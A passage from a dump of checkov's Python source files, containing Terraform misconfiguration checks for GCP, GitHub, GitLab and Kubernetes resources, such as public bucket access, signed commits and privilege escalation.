    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass GoogleStoragePublicAccessPrevention(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure public access prevention is enforced on Cloud Storage bucket\"\n        id = \"CKV_GCP_114\"\n        supported_resources = [\"google_storage_bucket\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"public_access_prevention\"\n\n    def get_expected_value(self) -> Any:\n        return \"enforced\"\n\n\ncheck = GoogleStoragePublicAccessPrevention()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleSubnetworkIPV6PrivateGoogleEnabled.py",
    "content": "from typing import Any, List, Dict\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n# private_ip_google_access is not supported for subnetworks with the following purpose set\nPURPOSE_EXCEPTIONS = [\"INTERNAL_HTTPS_LOAD_BALANCER\", \"REGIONAL_MANAGED_PROXY\", \"GLOBAL_MANAGED_PROXY\"]\n\n\nclass GoogleSubnetworkIPV6PrivateGoogleEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Private google access is enabled for IPV6\"\n        id = \"CKV_GCP_76\"\n        supported_resources = (\"google_compute_subnetwork\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        purpose = conf.get(\"purpose\")\n        if purpose and isinstance(purpose, list) and purpose[0] in PURPOSE_EXCEPTIONS:\n            return CheckResult.UNKNOWN\n\n        stack = conf.get(\"stack_type\")\n        if not stack or (stack and isinstance(stack, list) and stack[0] != \"IPV4_IPV6\"):\n            return CheckResult.UNKNOWN\n\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self) -> str:\n        return \"private_ipv6_google_access\"\n\n    def get_expected_values(self) -> List[Any]:\n        return [\"ENABLE_OUTBOUND_VM_ACCESS_TO_GOOGLE\", \"ENABLE_BIDIRECTIONAL_ACCESS_TO_GOOGLE\"]\n\n\ncheck = GoogleSubnetworkIPV6PrivateGoogleEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleSubnetworkLoggingEnabled.py",
    "content": "from typing import Any, List, Dict\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n# flow logs can't be enabled for subnetworks with the following purpose set\nPURPOSE_EXCEPTIONS = [\"INTERNAL_HTTPS_LOAD_BALANCER\", \"REGIONAL_MANAGED_PROXY\", \"GLOBAL_MANAGED_PROXY\"]\n\n\nclass GoogleSubnetworkLoggingEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that VPC Flow Logs is enabled for every subnet in a VPC Network\"\n        id = \"CKV_GCP_26\"\n        supported_resources = (\"google_compute_subnetwork\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        purpose = conf.get(\"purpose\")\n        if purpose and purpose[0] in PURPOSE_EXCEPTIONS:\n            return CheckResult.UNKNOWN\n\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self) -> str:\n        return \"log_config\"\n\n    def get_expected_values(self) -> List[Any]:\n        return [ANY_VALUE]\n\n\ncheck = GoogleSubnetworkLoggingEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleSubnetworkPrivateGoogleEnabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n# private_ip_google_access is not supported for subnetworks with the following purpose set\nPURPOSE_EXCEPTIONS = [\"INTERNAL_HTTPS_LOAD_BALANCER\", \"REGIONAL_MANAGED_PROXY\", \"GLOBAL_MANAGED_PROXY\"]\n\n\nclass GoogleSubnetworkPrivateGoogleEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that private_ip_google_access is enabled for Subnet\"\n        id = \"CKV_GCP_74\"\n        supported_resources = (\"google_compute_subnetwork\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        purpose = conf.get(\"purpose\")\n        if purpose and isinstance(purpose, list) and purpose[0] in PURPOSE_EXCEPTIONS:\n            return CheckResult.UNKNOWN\n\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self) -> str:\n        return \"private_ip_google_access\"\n\n\ncheck = GoogleSubnetworkPrivateGoogleEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleVertexAINotebookShieldedVM.py",
    "content": "from typing import List\n\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass GoogleVertexAINotebookShieldedVM(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Vertex AI Notebook instances are launched with Shielded VM enabled\"\n        id = \"CKV_GCP_126\"\n        supported_resources = ['google_notebooks_instance']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'shielded_instance_config/[0]/enable_vtpm'\n\n    def get_forbidden_values(self) -> List[bool]:\n        return [False]\n\n\ncheck = GoogleVertexAINotebookShieldedVM()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/MemorystoreForRedisAuthEnabled.py",
    "content": "from typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass MemorystoreForRedisAuthEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Memorystore for Redis has AUTH enabled\"\n        id = \"CKV_GCP_95\"\n        supported_resources = (\"google_redis_instance\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"auth_enabled\"\n\n    # Accounts for if key is present but is set to False\n    def get_expected_value(self) -> Any:\n        return True\n\n\ncheck = MemorystoreForRedisAuthEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/MemorystoreForRedisInTransitEncryption.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass MemorystoreForRedisInTransitEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Memorystore for Redis uses intransit encryption\"\n        id = \"CKV_GCP_97\"\n        supported_resources = ['google_redis_instance']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"transit_encryption_mode\"\n\n    # Accounts for if key is present but is set to False\n    def get_expected_value(self):\n        return \"SERVER_AUTHENTICATION\"\n\n\ncheck = MemorystoreForRedisInTransitEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/PubSubPrivateTopic.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass PubSubPrivateTopic(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Pub/Sub Topics are not anonymously or publicly accessible\"\n        id = \"CKV_GCP_99\"\n        supported_resources = (\"google_pubsub_topic_iam_member\", \"google_pubsub_topic_iam_binding\")\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        public_principals = (\n            \"allUsers\",\n            \"allAuthenticatedUsers\"\n        )\n        # Depending on the terraform resource type -\n        # The member config is either a list or single principal\n        if self.entity_type == \"google_pubsub_topic_iam_member\":\n            # conf.get returns as a list\n            # so we create a string for comparison\n            if \"member\" in conf.keys():\n                member = conf.get(\"member\")[0]\n                if member in public_principals:\n                    return CheckResult.FAILED\n                else:\n                    return CheckResult.PASSED\n        # iam_binding returns a list of principals\n        elif self.entity_type == \"google_pubsub_topic_iam_binding\":\n            # Since conf.get returns a list and iam_binding returns a list (nested list)\n            # we pull out the members list using the index 0\n            if \"members\" in conf.keys():\n                members_list = conf.get(\"members\")[0]\n                if any(member in public_principals for member in members_list):\n                    return CheckResult.FAILED\n                else:\n                    return CheckResult.PASSED\n\n\ncheck = PubSubPrivateTopic()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/SpannerDatabaseDeletionProtection.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass SpannerDatabaseDeletionProtection(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Spanner Database has deletion protection enabled\"\n        id = \"CKV_GCP_119\"\n        supported_resources = ['google_spanner_database']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self) -> str:\n        return 'deletion_protection'\n\n    def get_expected_value(self) -> bool:\n        return True\n\n\ncheck = SpannerDatabaseDeletionProtection()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/SpannerDatabaseDropProtection.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass SpannerDatabaseDropProtection(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Spanner Database has drop protection enabled\"\n        id = \"CKV_GCP_120\"\n        supported_resources = [\"google_spanner_database\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self) -> str:\n        return \"enable_drop_protection\"\n\n    def get_expected_value(self) -> bool:\n        return True\n\n\ncheck = SpannerDatabaseDropProtection()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/SpannerDatabaseEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass SpannerDatabaseEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Spanner Database is encrypted with Customer Supplied Encryption Keys (CSEK)\"\n        id = \"CKV_GCP_93\"\n        supported_resources = ['google_spanner_database']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'encryption_config/[0]/kms_key_name'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = SpannerDatabaseEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/VertexAIDatasetEncryptedWithCMK.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass VertexAIDatasetEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Vertex AI datasets uses a CMK (Customer Managed Key)\"\n        id = \"CKV_GCP_92\"\n        supported_resources = ['google_vertex_ai_dataset']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'encryption_spec/[0]/kms_key_name'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = VertexAIDatasetEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/VertexAIMetadataStoreEncryptedWithCMK.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass VertexAIMetadataStoreEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Vertex AI Metadata Store uses a CMK (Customer Managed Key)\"\n        id = \"CKV_GCP_96\"\n        supported_resources = ['google_vertex_ai_metadata_store']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'encryption_spec/[0]/kms_key_name'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = VertexAIMetadataStoreEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/VertexAINotebookEnsureIntegrityMonitoring.py",
    "content": "from typing import List\n\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass VertexAINotebookEnsureIntegrityMonitoring(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Integrity Monitoring for Shielded Vertex AI Notebook Instances is Enabled\"\n        id = \"CKV_GCP_127\"\n        supported_resources = ['google_notebooks_instance']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'shielded_instance_config/[0]/enable_integrity_monitoring'\n\n    def get_forbidden_values(self) -> List[bool]:\n        return [False]\n\n\ncheck = VertexAINotebookEnsureIntegrityMonitoring()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/VertexAIPrivateInstance.py",
    "content": "from typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass VertexAIPrivateInstance(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Vertex AI instances are private\"\n        id = \"CKV_GCP_89\"\n        supported_resources = (\"google_notebooks_instance\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"no_public_ip\"\n\n    # Accounts for if key is present but is set to False\n    def get_expected_value(self) -> Any:\n        return True\n\n\ncheck = VertexAIPrivateInstance()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/terraform/checks/resource/github/BranchProtectionRequireSignedCommits.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass BranchProtectionRequireSignedCommits(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure GitHub branch protection rules requires signed commits\"\n        id = \"CKV_GIT_6\"\n        supported_resources = [\"github_branch_protection_v3\", \"github_branch_protection\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self) -> str:\n        return \"require_signed_commits\"\n\n    def get_expected_value(self) -> Any:\n        return True\n\n\ncheck = BranchProtectionRequireSignedCommits()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/github/BranchProtectionReviewNumTwo.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.util.type_forcers import force_int\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\n\n\nclass BranchProtectionReviewNumTwo(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"GitHub pull requests should require at least 2 approvals\"\n        id = \"CKV_GIT_5\"\n        supported_resources = (\"github_branch_protection_v3\", \"github_branch_protection\")\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        reviews = conf.get(\"required_pull_request_reviews\")\n        if reviews and isinstance(reviews, list):\n            review_count = reviews[0].get(\"required_approving_review_count\")\n            if review_count and isinstance(review_count, list):\n                count = force_int(review_count[0])\n                if count and count >= 2:\n                    return CheckResult.PASSED\n        self.evaluated_keys = [\"required_pull_request_reviews/[0]/required_approving_review_count\"]\n        return CheckResult.FAILED\n\n\ncheck = BranchProtectionReviewNumTwo()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/github/PrivateRepo.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\n\n\nclass PrivateRepo(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure GitHub repository is Private\"\n        id = \"CKV_GIT_1\"\n        supported_resources = [\"github_repository\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        if conf.get(\"private\") == [True]:\n            return CheckResult.PASSED\n        elif conf.get(\"visibility\") in [[\"private\"], [\"internal\"]]:\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"private\", \"visibility\"]\n\n\ncheck = PrivateRepo()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/github/RepositoryEnableVulnerabilityAlerts.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\n\n\nclass GithubRepositoryVulnerabilityAlerts(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure GitHub repository has vulnerability alerts enabled\"\n        id = \"CKV_GIT_3\"\n        supported_resources = [\"github_repository\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        # GitHub disables the alerts when archiving the repository without an option to turn them on again.\n        if conf.get(\"archived\") == [True]:\n            return CheckResult.PASSED\n        # GitHub enables the alerts on public repos but disables them on private repos by default.\n        # is private repo\n        if conf.get(\"private\") == [True] or conf.get(\"visibility\") in [[\"private\"], [\"internal\"]]:\n            if conf.get(\"vulnerability_alerts\"):\n                return CheckResult.PASSED\n            return CheckResult.FAILED\n        # is public repo\n        if conf.get(\"vulnerability_alerts\") == [False]:\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"vulnerability_alerts\"]\n\n\ncheck = GithubRepositoryVulnerabilityAlerts()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/github/SecretsEncrypted.py",
    "content": "from typing import List, Any, Dict\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass SecretsEncrypted(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        #  -from github docs \"It is also advised that you do not store plaintext values in your code but rather populate\n        #  the encrypted_value using fields from a resource, data source or variable as,\n        #  while encrypted in state, these will be easily accessible in your code\"\n        name = \"Ensure GitHub Actions secrets are encrypted\"\n        id = \"CKV_GIT_4\"\n        supported_resources = (\n            \"github_actions_environment_secret\",\n            \"github_actions_organization_secret\",\n            \"github_actions_secret\",\n        )\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        plaintext = conf.get(\"plaintext_value\")\n        if plaintext and self._is_variable_dependant(plaintext[0]):\n            return CheckResult.UNKNOWN\n\n        if isinstance(plaintext, list) and not plaintext[0]:\n            # this happens mainly in TF plan files, because the value is just an empty string\n            return CheckResult.PASSED\n\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self) -> str:\n        return \"plaintext_value\"\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [ANY_VALUE]\n\n\ncheck = SecretsEncrypted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/github/WebhookInsecureSsl.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass WebhookInsecureSsl(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure GitHub repository webhooks are using HTTPS\"\n        id = \"CKV_GIT_2\"\n        supported_resources = (\"github_repository_webhook\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self) -> str:\n        return \"configuration/[0]/insecure_ssl/[0]\"\n\n    def get_expected_value(self) -> Any:\n        return False\n\n\ncheck = WebhookInsecureSsl()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/github/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gitlab/ForcePushDisabled.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ForcePushDisabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure GitLab branch protection rules does not allow force pushes\"\n        id = \"CKV_GLB_2\"\n        supported_resources = [\"gitlab_branch_protection\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self) -> str:\n        return \"allow_force_push\"\n\n    def get_expected_value(self) -> Any:\n        return False\n\n\ncheck = ForcePushDisabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gitlab/PreventSecretsEnabled.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass PreventSecretsEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure GitLab prevent secrets is enabled\"\n        id = \"CKV_GLB_3\"\n        supported_resources = [\"gitlab_project\"]\n        categories = [CheckCategories.SECRETS]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self) -> str:\n        return \"push_rules/[0]/prevent_secrets\"\n\n    def get_expected_value(self) -> Any:\n        return True\n\n\ncheck = PreventSecretsEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gitlab/RejectUnsignedCommits.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass RejectUnsignedCommits(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure GitLab commits are signed\"\n        id = \"CKV_GLB_4\"\n        supported_resources = [\"gitlab_project\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self) -> str:\n        return \"push_rules/[0]/reject_unsigned_commits\"\n\n    def get_expected_value(self) -> Any:\n        return True\n\n\ncheck = RejectUnsignedCommits()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gitlab/RequireTwoApprovalsToMerge.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\nfrom checkov.common.util.type_forcers import force_int\n\n\nclass RequireTwoApprovalsToMerge(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure at least two approving reviews are required to merge a GitLab MR\"\n        id = \"CKV_GLB_1\"\n        supported_resources = [\"gitlab_project\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        approvals = conf.get(\"approvals_before_merge\")\n        if approvals and isinstance(approvals, list):\n            num_approvals = force_int(approvals[0])\n            if num_approvals and num_approvals >= 2:\n                return CheckResult.PASSED\n        self.evaluated_keys = [\"approvals_before_merge\"]\n        return CheckResult.FAILED\n\n\ncheck = RequireTwoApprovalsToMerge()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gitlab/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/AllowPrivilegeEscalation.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AllowPrivilegeEscalation(BaseResourceCheck):\n    def __init__(self):\n        # CIS-1.3 1.7.5\n        # CIS-1.5 5.2.5\n        # https://kubernetes.io/docs/tasks/configure-pod-container/security-context/\n        # AllowPrivilegeEscalation is true always when the container is: 1) run as Privileged OR 2) has CAP_SYS_ADMIN.\n        # https://kubernetes.io/docs/concepts/policy/pod-security-policy/\n        # AllowPrivilegeEscalation - This defaults to allow to not break setuid binaries\n        # DefaultAllowPrivilegeEscalation - Default is to allow as to not break setuid binaries\n\n        name = \"Containers should not run with allowPrivilegeEscalation\"\n        id = \"CKV_K8S_20\"\n        supported_resources = ['kubernetes_pod', 'kubernetes_pod_v1',\n                               'kubernetes_deployment', 'kubernetes_deployment_v1']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        spec_list = conf.get('spec')\n        if not spec_list:\n            return CheckResult.UNKNOWN\n        spec = spec_list[0]\n        if spec:\n            evaluated_keys_path = \"spec\"\n\n            template = spec.get(\"template\")\n            if template and isinstance(template, list):\n                template = template[0]\n                template_spec = template.get(\"spec\")\n                if template_spec and isinstance(template_spec, list):\n                    spec = template_spec[0]\n                    evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec'\n\n            containers = spec.get(\"container\")\n            if not containers:\n                return CheckResult.UNKNOWN\n            for idx, container in enumerate(containers):\n                if not isinstance(container, dict):\n                    return CheckResult.UNKNOWN\n                if container.get(\"security_context\"):\n                    context = container.get(\"security_context\")[0]\n                    if context.get(\"allow_privilege_escalation\"):\n                        if context.get(\"allow_privilege_escalation\") == [True]:\n                            self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/security_context/[0]/'\n                                                   f'allow_privilege_escalation']\n                            return CheckResult.FAILED\n            return CheckResult.PASSED\n        return CheckResult.UNKNOWN\n\n\ncheck = AllowPrivilegeEscalation()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/AllowPrivilegeEscalationPSP.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom typing import Any\n\n\nclass AllowPrivilegeEscalationPSP(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        # CIS-1.3 1.7.5\n        # CIS-1.5 5.2.5\n        # https://kubernetes.io/docs/tasks/configure-pod-container/security-context/\n        # AllowPrivilegeEscalation is true always when the container is: 1) run as Privileged OR 2) has CAP_SYS_ADMIN.\n        # https://kubernetes.io/docs/concepts/policy/pod-security-policy/\n        # AllowPrivilegeEscalation - This defaults to allow to not break setuid binaries\n        # DefaultAllowPrivilegeEscalation - Default is to allow as to not breat setuid binaries\n        # If you omit allowPrivilegeEscalation from PSP, it defaults to true\n        # Location: PodSecurityPolicy.spec.allowPrivilegeEscalation\n        name = \"Containers should not run with allowPrivilegeEscalation\"\n        id = \"CKV_K8S_5\"\n        supported_resources = ('kubernetes_pod_security_policy',)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'spec/[0]/allow_privilege_escalation'\n\n    def 